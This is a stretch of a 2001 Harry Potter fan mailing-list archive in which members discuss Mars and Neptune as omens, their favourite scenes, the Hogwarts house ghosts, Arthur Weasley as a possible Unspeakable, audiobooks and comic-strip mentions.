way to the end. As seen from the above Mars is indeed
a harbringer of war and conflict.  Therfore I would
venture the opinion that this is a red flag indicative
of the coming conflict with Voldemort.

There is my two knuts (or should it be galleons with
the length of this?)

Danette


--- cynthiaanncoe at home.com wrote:
> --- In HPforGrownups at y..., Margaret Dean
> <margdean at e...> wrote:
> > 
> > Mars the planet was named after Mars the Roman god
> of war, who
> > was most definitely a "he," so that's probably
> what Professor
> > Trelawney is alluding to.  My guess is that the
> appearance
> > (and/or brightness)  of the planet Mars indicates
> strife -- which
> > is, after all, overwhelmingly likely under the
> circumstances.  We
> > =know= there's a war coming up!
> > 
> 
> Also, I believe Mars is called the "Red Planet."  So
> we can file this 
> with all of the other discussion of house colors,
> the colors of 
> various spells, and the color of Voldemort's eyes.
> 
> A few random factoids:  In mythology, as previously
> stated, Mars was 
> the Roman god of war, and supposedly enjoyed war,
> conflict and 
> mindless killing.  One of his twin sons was Remus
> (hopefully this 
> means Lupin will be important in future books??). 
> The month of March 
> was named after Mars, and the Romans considered it
> the month of 
> wars.  So, Margaret, I think you're right.
> 
> Cindy
> ------
> "Yeah," said Hagrid, "but have yeh seen anythin',
> Ronan?  Anythin' 
> unusual?"
> "Mars is bright tonight," Ronan repeated, while
> Hagrid watched him 
> impatiently.  "Unusually bright."
> "Yeah, but I was meanin' anythin' unusual a bit
> nearer home,"  said 
> Hagrid.  PS/SS
> 
> 


__________________________________________________
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From magpie1112 at yahoo.com  Fri Sep  7 19:16:46 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Fri, 07 Sep 2001 19:16:46 -0000
Subject: What is the single best scene in the HP series?
In-Reply-To: <9n64p3+oliu@eGroups.com>
Message-ID: <9nb6eu+vdf2@eGroups.com>

No: HPFGUIDX 25718

--- In HPforGrownups at y..., justanopinion2001 at h... wrote:
> I was wondering which single scene out of the Harry Potter series 
> you think is the best?  

Hmmm, I'd like to break this down into three types:

1)  A reason to recommend the series to someone who hasn't read the 
books yet:

I'd talk about a favorite scene that happened in an earlier book (or 
rather, the first book) - in SS/PS, the scene where Harry keeps 
getting letters from Hogwarts and the Dursley's keep denying and 
denying him until *Boom!* Hagrid shows up!  I always do a 
mental "Yay!" everytime I read it.  

2)  My favorite scene overall:

When Dumbledore gathers everyone together at the end of GoF and 
starts to prepare for what's coming.  Snape and Sirius shake hands!  
We find out that Mrs. Figg is part of "the old crowd"!  Hagrid and 
Madame Maxim get sent out as envoys!  We hear Lupin's name 
mentioned!  Talk about getting fired up!

3)  The scene that has now become my personal wish list:

The prefects bathroom in GoF - "It was softly lit by a splendid 
candle-filled chandelier, and everything was made of white marble, 
including what looked like an empty, rectangular swimming 
pool....About a hundred golden taps stood all around the pool's 
edges, each with a differently colored jewel in its handle....He 
could tell at once that they carried different sorts of bubble 
bath...."  I've wanted one of those ever since I read the 
description!!!


Denise (who just has to learn to accept her standard bathtub)




From supergirl1024 at yahoo.com  Fri Sep  7 19:39:00 2001
From: supergirl1024 at yahoo.com (Gwyneth)
Date: Fri, 07 Sep 2001 19:39:00 -0000
Subject: What is the single best scene in the HP series?
In-Reply-To: <9nb6eu+vdf2@eGroups.com>
Message-ID: <9nb7ok+tm6m@eGroups.com>

No: HPFGUIDX 25719

--- In HPforGrownups at y..., magpie1112 at y... wrote:
> --- In HPforGrownups at y..., justanopinion2001 at h... wrote:
> > I was wondering which single scene out of the Harry Potter series 
> > you think is the best?  
> 
> Hmmm, I'd like to break this down into three types:
> 
> 1)  A reason to recommend the series to someone who hasn't read the 
> books yet:
> 
> I'd talk about a favorite scene that happened in an earlier book 
(or 
> rather, the first book) - in SS/PS, the scene where Harry keeps 
> getting letters from Hogwarts and the Dursley's keep denying and 
> denying him until *Boom!* Hagrid shows up!  I always do a 
> mental "Yay!" everytime I read it.  
> 
> 2)  My favorite scene overall:
> 
> When Dumbledore gathers everyone together at the end of GoF and 
> starts to prepare for what's coming.  Snape and Sirius shake 
hands!  
> We find out that Mrs. Figg is part of "the old crowd"!  Hagrid and 
> Madame Maxim get sent out as envoys!  We hear Lupin's name 
> mentioned!  Talk about getting fired up!
> 
> 3)  The scene that has now become my personal wish list:
> 
> The prefects bathroom in GoF - "It was softly lit by a splendid 
> candle-filled chandelier, and everything was made of white marble, 
> including what looked like an empty, rectangular swimming 
> pool....About a hundred golden taps stood all around the pool's 
> edges, each with a differently colored jewel in its handle....He 
> could tell at once that they carried different sorts of bubble 
> bath...."  I've wanted one of those ever since I read the 
> description!!!
> 
> 
> Denise (who just has to learn to accept her standard bathtub)


My favorite scene:  in CoS, When Harry, Ron, Ginny, and Lockhart 
return from the chamber of secrets and barge heroically into 
McGonagall's office, covered in muck and slime and (in Harry's case) 
blood.

I also like the following chapters from Goblet of Fire:  Veritaserum, 
Parting of Ways, and The Beginning.

oh, and any with the Centaurs.

OOO..and all of Dumbledore's wise-old-mentor thing.




From vheggie at yahoo.com  Fri Sep  7 19:59:28 2001
From: vheggie at yahoo.com (vheggie at yahoo.com)
Date: Fri, 07 Sep 2001 19:59:28 -0000
Subject: AUDIO Books (in English)- comparative review
In-Reply-To: <9n9dl7+82d5@eGroups.com>
Message-ID: <9nb8v0+mhdn@eGroups.com>

No: HPFGUIDX 25720

I have Jim Dale's renditions at the moment, but it was Stephen Fry's 
Boxing Day reading that got me into the series - audio is may 
favourite medium, and when I can afford to completely replace my 
napster copies with the real thing (it's happening, just gradually!) 
I shall do so.
The central difference, I felt, was that Fry read for adults and 
teens, and Dale reads for children; subtle differences (lack of 
singing in Fry's rendition, the already mentioned irritations of 
Hermiones ghastly "Hareeeeee"), but it's simply a matter of personal 
choice.




From magpie1112 at yahoo.com  Fri Sep  7 20:53:28 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Fri, 07 Sep 2001 20:53:28 -0000
Subject: Harry Never Howls; Rowena as The Grey Lady; House Ghosts
In-Reply-To: <9n8uss+jl3m@eGroups.com>
Message-ID: <9nbc48+gqvm@eGroups.com>

No: HPFGUIDX 25721

From:  frantyck

> Harry's experiences crowd in upon him, hours in an instant, and he 
> must find a way to let himself release all the pent-up misery.  
> Mrs. Weasley sits down on Harry's bed and hugs Harry tight.  
> He never howls.

*  Wow - just reading your post brings it all back.  I have a feeling 
that JKR knows exactly what she's doing here.  Harry will have to 
come to terms with Cedric's death (and thereby come to terms with the 
full force of what is to come).  Perhaps Harry will use that pent-up 
pain as fuel during a moment of peril (or anger!)  I would have loved 
to have seen Harry get the catharsis he so dearly needs, but I trust 
JKR has things well in hand.


From:  becky

> I have been harboring a suspicion that the Grey Lady is Madame 
> Ravenclaw herself.

*  Becky - I have to say that I too believe that The Grey Lady is 
none other than Rowena Ravenclaw protecting her house.  The only 
description we have in SS/PS is "the ghost of a tall witch", so my 
mind runs rampant.  And in all honsty, that description may not even 
be about The Grey Lady - we know that other ghosts can be on Hogwarts
 grounds at any given time; look at Nearly Headless Nick's dead-day 
party.  I second your cry - are there any L.O.O.N.'s out there who 
can confirm/deny?

And BTW - do we know how long each house has had its resident ghost?  
Have they always been there, or do they come and go?  I know NHN's 
500th deathday occurred in CoS; does anyone know when Hogwarts was 
established?  Sorry Steve - too terrified I'll lose my post to check 
the Lexicon....

- Denise (who is happy in Hufflepuff but always wondered what it 
would be like to be a Ravenclaw)




From usergoogol at yahoo.com  Fri Sep  7 21:15:29 2001
From: usergoogol at yahoo.com (usergoogol at yahoo.com)
Date: Fri, 07 Sep 2001 21:15:29 -0000
Subject: Harry Never Howls; Rowena as The Grey Lady; House Ghosts
In-Reply-To: <9nbc48+gqvm@eGroups.com>
Message-ID: <9nbddh+2bnr@eGroups.com>

No: HPFGUIDX 25722

> And BTW - do we know how long each house has had its resident ghost?  
> Have they always been there, or do they come and go?  I know NHN's 
> 500th deathday occurred in CoS; does anyone know when Hogwarts was 
> established?  Sorry Steve - too terrified I'll lose my post to check 
> the Lexicon....
> 
> - Denise (who is happy in Hufflepuff but always wondered what it 
> would be like to be a Ravenclaw)

The Chamber of Secrets was said to be built over a thosand years ago, so logically, the School is also 1000+ years old. I've estimated around 850 CE, but the way I see it, in the Harry Potter world, noone really knows when it was founded.

If that last statement is true, then the Rowena Ravenclaw and her cohorts are probably all properly dead.




From vderark at bccs.org  Fri Sep  7 22:06:06 2001
From: vderark at bccs.org (Steve Vander Ark)
Date: Fri, 07 Sep 2001 22:06:06 -0000
Subject: Harry Never Howls; Rowena as The Grey Lady; House Ghosts
In-Reply-To: <9nbc48+gqvm@eGroups.com>
Message-ID: <9nbgce+d0mq@eGroups.com>

No: HPFGUIDX 25723

--- In HPforGrownups at y..., magpie1112 at y... wrote:

> 
> > I have been harboring a suspicion that the Grey Lady is Madame 
> > Ravenclaw herself.
> 
> *  Becky - I have to say that I too believe that The Grey Lady is 
> none other than Rowena Ravenclaw protecting her house.  The only 
> description we have in SS/PS is "the ghost of a tall witch", so my 
> mind runs rampant.  And in all honsty, that description may not 
even 
> be about The Grey Lady - we know that other ghosts can be on 
Hogwarts
>  grounds at any given time; 


There are about 25 ghosts at Hogwarts (or there were in 1991). The 
tall witch in SS12 IS the Gray Lady, according to JKR. The idea that 
the Gray Lady is Rowena is interesting. There is nothing in the canon 
to indicate one way or another, but since the other three don't seem 
likely to be Helga Hufflepuff, Godric Gryffindor, or Salazar 
Slytherin (who looks sort of monkey-ish, not at all like the Baron), 
it doesn't seem to be the type of thing JKR is going for with those 
characters. But anything's possible. Well, just about anything. I'm 
fairly certain that the Fat Friar is NOT Helga Hufflepuff.


> party.  I second your cry - are there any L.O.O.N.'s out there who 
> can confirm/deny?


We know absolutely nothing about how long the ghosts have been around 
in the official capacity as House Ghosts, or indeed why a House NEEDS 
a ghost. We do have a sense that they may be many years old, since 
Nick certainly is and the character of a Fat Friar seems like a 
medieval image to me, sort of Robin Hood-ish. As for the Bloody 
Baron, we don't know a thing about him. We only hear his voice once, 
and it's really not his, it's Harry trying to SOUND like him. He is 
covered with blood, of course, but it's described as "silvery." This 
may be simply because he's a ghost and EVERYTHING about him is 
silvery, but on the other hand, we are told in SS that unicorn blood 
is silvery as well. And okay, so that might be because we're seeing 
it in the moonlight, but on the other hand...



> 
> And BTW - do we know how long each house has had its resident 
ghost?  
> Have they always been there, or do they come and go?  I know NHN's 
> 500th deathday occurred in CoS; does anyone know when Hogwarts was 
> established?  Sorry Steve - too terrified I'll lose my post to 
check 
> the Lexicon....

Gee, Denise, I had no idea that I scared you so much! I've always 
thought of myself as rather meek and mild-mannered. :)

Just for the record: If I post links to the Lexicon or the FAQs, I'm 
not meaning it to be critical, just to give people a chance to read 
up on something that interests them. For example, if someone were to 
ask about the Hogwarts ghosts, I might include these links, just to 
be nice and give information junkies a fix:

http://www.i2k.com/~svderark/lexicon/ghosts.html

That page has links to pages about various ghosts and a terrific 
essay by Mike Gray. 


Steve "Fearsome" Vander Ark
The Harry Potter (Whup Upside the Head) Lexicon
http://www.i2k.com/~svderark/lexicon









From KayandJay1 at MSN.com  Fri Sep  7 22:05:46 2001
From: KayandJay1 at MSN.com (KayandJay1 at MSN.com)
Date: Fri, 07 Sep 2001 22:05:46 -0000
Subject: Marauders' Houses
In-Reply-To: <20010906140441.81523.qmail@web14204.mail.yahoo.com>
Message-ID: <9nbgbq+lfs3@eGroups.com>

No: HPFGUIDX 25724

James - Gryffindor (fact)

Lilly - Gryffindor ( what I think)

Siris - Gryffindor ( what I think)

Remus - Gryffindor ( fact) see it here at the bottom of page 
http://www.i2k.com/~svderark/lexicon/lupin.html

Peter - Gryffindor ( what I think)

Can anybody prove me wrong? Two of the five are fact. 
Josie Lilla Potter




From UcfRentLuvr at cs.com  Fri Sep  7 22:26:05 2001
From: UcfRentLuvr at cs.com (UcfRentLuvr at cs.com)
Date: Fri, 07 Sep 2001 18:26:05 -0400
Subject: Harry comics
Message-ID: <34A0FD8A.50CBCCE3.52A758FC@cs.com>

No: HPFGUIDX 25725

The Get Fuzzy comic strip strikes again.  If you go to http://comics.com, and look under the comic Get Fuzzy, look at the Sept. 6 and 7 comics. They both mention Harry Potter.  The person who does this strip has mentioned Harry Potter before too.   I believe one of the past strips is in the files section of this group under humor.  Check'em out. They're funny. 8)

***Dixie Malfoy***





From blpurdom at yahoo.com  Fri Sep  7 22:46:43 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Fri, 07 Sep 2001 22:46:43 -0000
Subject: Mars
In-Reply-To: <9nal15+rqp4@eGroups.com>
Message-ID: <9nbioj+1ma5@eGroups.com>

No: HPFGUIDX 25726

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> --- In HPforGrownups at y..., Margaret Dean <margdean at e...> wrote:
> > 
> > Mars the planet was named after Mars the Roman god of war, who
> > was most definitely a "he," so that's probably what Professor
> > Trelawney is alluding to.   

Yes, it's probably just that simple, as JKR professes to be leery of 
astrology.  (Goodness, Danette, did you type out all that material 
about Mars from memory, or cut and paste?)  

However, no one mentioned Neptune and its significance, which I 
believe in this scene is as straightforward as Mars being the god of 
war.  Neptune is the god of death and the underworld.  Trelawney 
highlighting both Mars and Neptune means that she is implying that 
both war and death are coming.  Which I suppose makes this another 
possibly correct prediction of hers, but it's about as difficult as 
predicting that the sun will rise tomorrow morning (for fans of The 
Little Prince).  

--Barb

Get Psyched Out!

http://groups.yahoo.com/group/HP_Psych




From cmtorres67 at yahoo.com  Fri Sep  7 22:48:02 2001
From: cmtorres67 at yahoo.com (Celeste)
Date: Fri, 07 Sep 2001 22:48:02 -0000
Subject: Question re: Arthur Weasley/Unspeakable
Message-ID: <9nbir2+nvcv@eGroups.com>

No: HPFGUIDX 25727

I think I missed something somewhere. Could someone please explain 
the following to me : 1. Why do you think Arthur is an Unspeakable? 
                      2. What is an Unspeakable?

Any book references and/or previous posts/and or web pages that talk 
about this would also be helpful.

Thanks so much.
Celeste




From jkusalavagemd at yahoo.com  Fri Sep  7 23:09:02 2001
From: jkusalavagemd at yahoo.com (Haggridd)
Date: Fri, 07 Sep 2001 23:09:02 -0000
Subject: Question re: Arthur Weasley/Unspeakable
In-Reply-To: <9nbir2+nvcv@eGroups.com>
Message-ID: <9nbk2e+du60@eGroups.com>

No: HPFGUIDX 25728

--- In HPforGrownups at y..., "Celeste" <cmtorres67 at y...> wrote:
> I think I missed something somewhere. Could someone please explain 
> the following to me : 1. Why do you think Arthur is an Unspeakable? 
>                       2. What is an Unspeakable?
> 
> Any book references and/or previous posts/and or web pages that
talk 
> about this would also be helpful.
> 
> Thanks so much.
> Celeste

The only reference I know of is in GoF, chapter seven (page 79 in the 
UK hardcover) where Arthur Weasley  refers to two wizards , Boad and 
Croaker as Unspeakables, that is, they're "From the Department of 
Mysteries, top-secret, no idea what they get up to..."

It is my contention that Mr. Weasley is himself an Unspeakable, with
a cover assignment as a low level bureaucrat, and JKR is taking this 
opportunity to wave one of her Red Flags.  Why should Arthur Weasley 
know the identities of these "top-secret" wizards?  He is one
himself.
 
Perhaps he and Molly are a husband and wife team of Unspeakables?
As for why Arthur Weasley would mention it to Harry and Hermione,
well, in Real Life British MI6 did recruit from Cambridge University 
students, and our own CIA did the same at the Ivy League colleges.  I 
hope this helps you.

Haggridd




From jfaulkne at eden.rutgers.edu  Fri Sep  7 23:10:48 2001
From: jfaulkne at eden.rutgers.edu (Jen Faulkner)
Date: Fri, 7 Sep 2001 19:10:48 -0400 (EDT)
Subject: [HPforGrownups] Re: Mars
In-Reply-To: <9nbioj+1ma5@eGroups.com>
Message-ID: <Pine.GSO.4.21.0109071856310.16055-100000@er4.rutgers.edu>

No: HPFGUIDX 25729

On Fri, 7 Sep 2001 blpurdom at yahoo.com wrote:

> However, no one mentioned Neptune and its significance, which I 
> believe in this scene is as straightforward as Mars being the god of 
> war.  Neptune is the god of death and the underworld.  

Neptune isn't the god of death or the underworld, though, that's
Pluto.  Neptune is *(wo)manfully supresses the urge to complicate* the
god of the sea.  *gives in*  Poseidon/Neptune represents the elemental
*force* of the sea, its destructive power, and thus P/N is also the god
of storms, earthquakes, and, fwiw, horses.  Prof. Trelawney may
therefore be profesying great destruction or havoc by mentioning
Neptune.

Or maybe there'll be a war with the merfolk? *g*

--jen :)

* * * * * * 
Jen's HP fics:
http://www.eden.rutgers.edu/~jfaulkne/hp.html
Snapeslash listmom: http://groups.yahoo.com/group/snapeslash
Yes, I *am* the Deictrix.





From blpurdom at yahoo.com  Fri Sep  7 23:22:47 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Fri, 07 Sep 2001 23:22:47 -0000
Subject: 2 Neptunes/Fang/Fluffy/Papparazzo
Message-ID: <9nbks7+r4oa@eGroups.com>

No: HPFGUIDX 25730

As a new list elf, I'm trying to be a good girl and combine my posts 
this time in the hopes that my modem will not disconnect me and 
freeze my computer, as usually happens when I attempt this. ::sigh::

mellienel2 at yahoo.com wrote: 

> always confused by the centaurs in PS, and now it is much clearer 
to me. Does Mars represent good or evil? What about Neptune - the 
only other reference to Neptune that I can remember is Ron's "a 
midget in glasses is being born" which I took to be a pure joke with 
no hidden meaning... What do people think?

Doens't  Harry also say, when they're doing their charts for their 
month of birth, that he has two Neptunes? I thought it was a joke 
too..but if JKR is including astrological things about mars, maybe it 
means something -- not something we can really find out, but 
something that has to do with Harry's uniqueness. Eh, who knows.

Me: I forgot about this in my (slightly) earlier post about 
Mars/Neptune.  I already stated that Neptune was the god of death and 
the underworld, so there could be a number of reasons why Harry has 
two in his chart (I doubt it is meaningless).  One possibility is 
that Harry has already come close to dying once, when Voldemort 
attempted to put AK on him as a baby.  The second Neptune might be an 
indication of the second murder attempt that comes near the end of 
GoF.  (Unless this is JKR's way of indicating that she WILL kill him 
off at the end of book 7 after all...but I don't want to depress 
anyone, least of all myself, since I very much want him to live.)

John wrote:

>I always pictured Fang as more massive. He certainly doesn't look 
very frightening. 

Me: Nevermind Fang; Fluffy, the three headed terror looks positively, 
er, fluffy in the stuffed-toy rendition available at our local going-
out-of-business WB store.  In fact, Fluffy looks downright cuddly.

Amy Z wrote:

CoS 15, when the FFA shows up--aren't dogs supposed to chase cars, 
not the other way
around? etc. 

Me: This is JKR's humor.  She likes those turnaround things.

Susan wrote:

Also the literal meaning of "papparazzo" is a flying, stinging, 
biting insect.

Me: I did not know that.  Now I will laugh even more every time I get 
to the footnote in Good Omens (Gaiman/Pratchett) where one of the 
characters is said to be under the impression that papparazzi is 
Italian floor tile (confusing the word with "terrazzo").

--Barb







From jkusalavagemd at yahoo.com  Fri Sep  7 23:31:02 2001
From: jkusalavagemd at yahoo.com (Haggridd)
Date: Fri, 07 Sep 2001 23:31:02 -0000
Subject: 2 Neptunes
In-Reply-To: <9nbks7+r4oa@eGroups.com>
Message-ID: <9nblbm+94bd@eGroups.com>

No: HPFGUIDX 25731

--- In HPforGrownups at y..., blpurdom at y... wrote:
ally happens when I attempt this. ::sigh::
> 
> mellienel2 at y... wrote: 
> 
> > always confused by the centaurs in PS, and now it is much clearer 
> to me. Does Mars represent good or evil? What about Neptune - the 
> only other reference to Neptune that I can remember is Ron's "a 
> midget in glasses is being born" which I took to be a pure joke with 
> no hidden meaning... What do people think?
> 
> Doens't  Harry also say, when they're doing their charts for their 
> month of birth, that he has two Neptunes? I thought it was a joke 
> too..but if JKR is including astrological things about mars, maybe 
it 
> means something -- not something we can really find out, but 
> something that has to do with Harry's uniqueness. Eh, who knows.
> 
> Me: I forgot about this in my (slightly) earlier post about 
> Mars/Neptune.  I already stated that Neptune was the god of death 
and 
> the underworld, 

Neptune is not the god of the underworld; that is Pluto (for the 
Romans) or Hades (for the Greeks).

Neptune, or as the Greeks name him, Poseidon, does have two entirely 
different spheres of influence.  He is the god of the sea, and the god 
of horses.  By extension (from the pounding of the horses hooves on 
the ground) he is also the god of earthquakes.  I don't know how this 
affects your theories, but it might have some bearing on the "two 
Neptunes" astrological chart.

Haggridd





From Zarleycat at aol.com  Fri Sep  7 23:45:38 2001
From: Zarleycat at aol.com (Zarleycat at aol.com)
Date: Fri, 07 Sep 2001 23:45:38 -0000
Subject: The howl of misery
In-Reply-To: <9n8rt9+68p2@eGroups.com>
Message-ID: <9nbm72+dt5s@eGroups.com>

No: HPFGUIDX 25732

--- In HPforGrownups at y..., scaryfairymary at h... wrote:
> --- In HPforGrownups at y..., frantyck at y... wrote:
> > Another tangent:
> > 
> >  In safety, for the 
> > moment, Harry's experiences crowd in upon him, hours in an 
instant, 
> > and he must find a way to let himself release all the pent-up 
> misery. 
> > Mrs Weasley sits down on Harry's bed and hugs Harry tight.
> > 
> > He never howls. Harry fights to hold it in, wishes Ron would turn 
> > away. Mrs Weasley and Harry break apart when Hermione catches 
> Beetle-
> > Skeeter.
> ><snip> 
> >
> 
> This IMO is the most heart renching (cant spell sorry!) moment in 
the 
> whole HP series, I really think that this "howl of misery" really 
> should have been expressed.  Harry never really deals with the 
trauma 
> of the nights events, and so can never really recover.  Even when 
he 
> smiles "the first real smile in days" in Hagrid's cabin, I never 
> really feel like the matter is dealt with.  The reader knows that 
> Harry is still totally miserable inside, and without some help from 
a 
> maternal figure (Molly Weasley) he is never truley going to be 
> happy.  I cant see him getting any support from Petunia Dursley, so 
> hopefully he will be let go to the Weasleys and have some "quality 
> time".


I agree - this is the most heart-wrenching scene for me, too.  If the 
next book follows the traditional format, we'll see Harry having a 
dreadful summer with the Dursleys.  I hope JKR will find a way to let 
Harry have someone's support to deal with the fallout from the end of 
GoF.  I can't imagine that Harry will not have residual feelings 
about what happened to him from the end of the Third Task onward.  
I'm sure he'll have to deal with feelings of guilt over Cedric's 
death, even though that was not Harry's fault.  Plus, the horror in 
the graveyard, witnessing V.'s rebirth, seeing the ghosts of his 
parents, and being the target of Fudge's animosity.  

IIRC, aren't the Dursleys supposed to play a greater role?  What if 
Harry confronts Petunia some day when Vernon and Dudley are absent 
and asks her questions about his mother?  Will she fall into 
her "wizards are all freaks" mode, or, will she reveal some other 
feelings that she hides when Vernon's around?  

Will Harry be allowed to spend a greater amoung of time with the 
Weasleys?  And, if so, will Molly end up being Harry's support, or 
will Ron/Ginny take on that role?

Or maybe JKR will arrange a meeting at Mrs. Figg's house between 
Harry and Sirius, as Sirius can certainly understand feeling guilty 
at having one's actions lead to someone else's death.  

I just hope this whole issue isn't glossed over with a plot line on 
Dudley's new diet and Vernon's new client and Harry stuck in his room 
until it's time to go to Diagon Alley for school supplies...

Marianne




From cassandraclaire at mail.com  Fri Sep  7 23:56:34 2001
From: cassandraclaire at mail.com (cassandraclaire at mail.com)
Date: Fri, 07 Sep 2001 23:56:34 -0000
Subject: SHIP: Love triangle?
Message-ID: <9nbmri+e1q8@eGroups.com>

No: HPFGUIDX 25733



I was reading the New York Metropolitan Press, which is a free 
newspaper here in Manhattan, and came across a story called "Tom, 
Dick and Harry Potter" by Jennifer Banner which was actually about 
HP's internet presence -- especially fanfiction. Anyway, it included 
this sentence, "Most of the (fanfiction) stories feature a love 
triangle between Harry, Hermione, and Ron, as is suggested in the 
real books."

<g> Hear that, Penny? Journalistic confirmation of your FITD theory!

Cassie




From usergoogol at yahoo.com  Sat Sep  8 00:10:54 2001
From: usergoogol at yahoo.com (usergoogol at yahoo.com)
Date: Sat, 08 Sep 2001 00:10:54 -0000
Subject: Hogwarts Song
Message-ID: <9nbnme+l09s@eGroups.com>

No: HPFGUIDX 25734

Here's an idea. I created a directory in the Files section. If you have a microphone on your computer, sing the Hogwarts Song to the tune of your choice. Then, upload it onto the directory. Eventually, someone could somehow mix all the songs into one big song, and we could have our own group song.

(Use the sound recorder that comes free with Windows.)




From banjoken at optonline.net  Sat Sep  8 00:35:57 2001
From: banjoken at optonline.net (banjoken at optonline.net)
Date: Sat, 08 Sep 2001 00:35:57 -0000
Subject: Hogwarts Song
In-Reply-To: <9nbnme+l09s@eGroups.com>
Message-ID: <9nbp5d+cdgp@eGroups.com>

No: HPFGUIDX 25735

> Here's an idea. I created a directory in the Files section. If you 
>have a microphone on your computer, sing the Hogwarts Song to the 
>tune of your choice. Then, upload it onto the directory. Eventually, 
>someone could somehow mix all the songs into one big song, and we 
>could have our own group song. 

I'm taking a composition class at school right now (Binghamton 
University), and for the final project I have to compose music for a 
poem of my choice. I've been seriously considering one of the sorting 
hat songs, but this would be a good choice too!

Ken





From pennylin at swbell.net  Sat Sep  8 01:12:31 2001
From: pennylin at swbell.net (Penny & Bryce)
Date: Fri, 07 Sep 2001 20:12:31 -0500
Subject: [HPforGrownups] SHIP: Love triangle?
References: <9nbmri+e1q8@eGroups.com>
Message-ID: <3B99707F.3080004@swbell.net>

No: HPFGUIDX 25736

Hi --

cassandraclaire at mail.com wrote:

> 
> I was reading the New York Metropolitan Press, which is a free
> newspaper here in Manhattan, and came across a story called "Tom,
> Dick and Harry Potter" by Jennifer Banner which was actually about
> HP's internet presence -- especially fanfiction. Anyway, it included
> this sentence, "Most of the (fanfiction) stories feature a love
> triangle between Harry, Hermione, and Ron, as is suggested in the
> real books."
> 
> <g> Hear that, Penny? Journalistic confirmation of your FITD theory!

Ah, how sweet it is!!  See, I'm not the only crazy one out there.

For those who don't know & haven't read the VFAQs (hint, hint), FITD is 
the "Farmer in the Dell" theory.  That is: Ron likes Hermione, who likes 
Harry, who likes no one or someone else outside the Trio.  As I said 
sometime recently, I become more & more convinced of this the more I 
think about it.  That's my big prediction I'd lay odds on for OoP.  I'll 
either have a big victory celebration (or eat a big dish of crow) I 
suppose.

Any chance you could scan that article, Cassie (or provide a link)?  I'd 
love to see the whole thing.

If you haven't read the VFAQs, here's the handy-dandy link:

http://groups.yahoo.com/group/HPforGrownups/files/Admin%20Files/VFAQ.htm


Penny

 




From editor at texas.net  Sat Sep  8 01:48:33 2001
From: editor at texas.net (Amanda Lewanski)
Date: Fri, 07 Sep 2001 20:48:33 -0500
Subject: Harry Potter money?
Message-ID: <3B9978F0.F9126F10@texas.net>

No: HPFGUIDX 25737

I am amazed that I've seen nothing about this on the list. I heard on
the radio morning news today, during my predawn drive to drop Michael
off and justify my existence by earning some money, that the British
government has released some coin, I missed the denomination, with Harry
Potter on it (maybe not him specifically). You Brits, what's going on?
They said in the story that most of the sales (sales? but then again,
the Tooth Fairy has had to make a couple trips to the bank to buy the
gold Sacajewea dollars) were to collectors, and they probably wouldn't
be circulating all that much.

--Amanda, curious and wanting one




From cynthiaanncoe at home.com  Sat Sep  8 02:06:43 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Sat, 08 Sep 2001 02:06:43 -0000
Subject: 2 Neptunes
In-Reply-To: <9nblbm+94bd@eGroups.com>
Message-ID: <9nbufj+7kp9@eGroups.com>

No: HPFGUIDX 25738

Haggridd wrote:


Harry also says, when they're doing their charts for their 
> > month of birth, that he has two Neptunes? 

<snip> 

Neptune, or as the Greeks name him, Poseidon, does have two entirely 
> different spheres of influence.  He is the god of the sea, and the 
god 
> of horses.  By extension (from the pounding of the horses hooves on 
> the ground) he is also the god of earthquakes.  I don't know how 
this 
> affects your theories, but it might have some bearing on the "two 
> Neptunes" astrological chart.
> 


Oh, ye of little faith.  :) I think we may have another accurate 
Divination prediction here.  Harry has two Neptunes.  Neptune is the 
god of the sea.  In the second task, Harry and Ron both have an 
encounter with the sea.  <Insert scary music here>   

Cindy (who needs to believe in something, and Divination is as good 
as anything out there)




From editor at texas.net  Sat Sep  8 02:10:29 2001
From: editor at texas.net (Amanda Lewanski)
Date: Fri, 07 Sep 2001 21:10:29 -0500
Subject: Harry Potter money again
Message-ID: <3B997E15.3A54029@texas.net>

No: HPFGUIDX 25739

Found it! Here's a link.

http://uk.news.yahoo.com/010906/80/c35iq.html

--Amanda, still wanting one




From meboriqua at aol.com  Sat Sep  8 02:21:02 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Sat, 08 Sep 2001 02:21:02 -0000
Subject: SHIP: Love triangle?
In-Reply-To: <3B99707F.3080004@swbell.net>
Message-ID: <9nbvae+hroc@eGroups.com>

No: HPFGUIDX 25740

--- In HPforGrownups at y..., Penny & Bryce <pennylin at s...> wrote:
 
> Ah, how sweet it is!!  See, I'm not the only crazy one out there. 
For those who don't know & haven't read the VFAQs (hint, hint), FITD 
is  the "Farmer in the Dell" theory.  That is: Ron likes Hermione, who 
likes  Harry, who likes no one or someone else outside the Trio.>

Oh, come on Penny - the love triangle could be Hermione likes Ron who 
likes HARRY who likes Ginny...

You never know.

--jenny from ravenclaw, writing this with an evil grin 
******************************************************************




From cynthiaanncoe at home.com  Sat Sep  8 02:23:04 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Sat, 08 Sep 2001 02:23:04 -0000
Subject: Marauders' Houses
In-Reply-To: <9nbgbq+lfs3@eGroups.com>
Message-ID: <9nbve8+d750@eGroups.com>

No: HPFGUIDX 25741

--- In HPforGrownups at y..., KayandJay1 at M... wrote:
> James - Gryffindor (fact)
> 
> 
> Remus - Gryffindor ( fact) see it here at the bottom of page 
> http://www.i2k.com/~svderark/lexicon/lupin.html
> 
>

What is the basis for saying Remus is in Gryffindor?  I don't recall 
anything in canon about that?

Cindy




From captain_debrowe at yahoo.com  Sat Sep  8 02:38:22 2001
From: captain_debrowe at yahoo.com (Danette Schardt-Cordova)
Date: Fri, 7 Sep 2001 19:38:22 -0700 (PDT)
Subject: [HPforGrownups] Harry comics
In-Reply-To: <34A0FD8A.50CBCCE3.52A758FC@cs.com>
Message-ID: <20010908023822.91209.qmail@web14403.mail.yahoo.com>

No: HPFGUIDX 25742

Speaking of Harry in the comics, this past weekend i
went to visit my in-laws and in the Suday edition of
thier newspaper I found a Harry Potter mention. "The
Family Circus"  The oldest boy (Billy I think) is
meandering through the house saying goodbye to
everything from his bed to the bathroom.  When he goes
past the bookcase he says "Cheerio Harry Potter".  I
don't have a scanner or I would scan it in for you to
see.  I thought it was absolutely cute though.

Danette
  
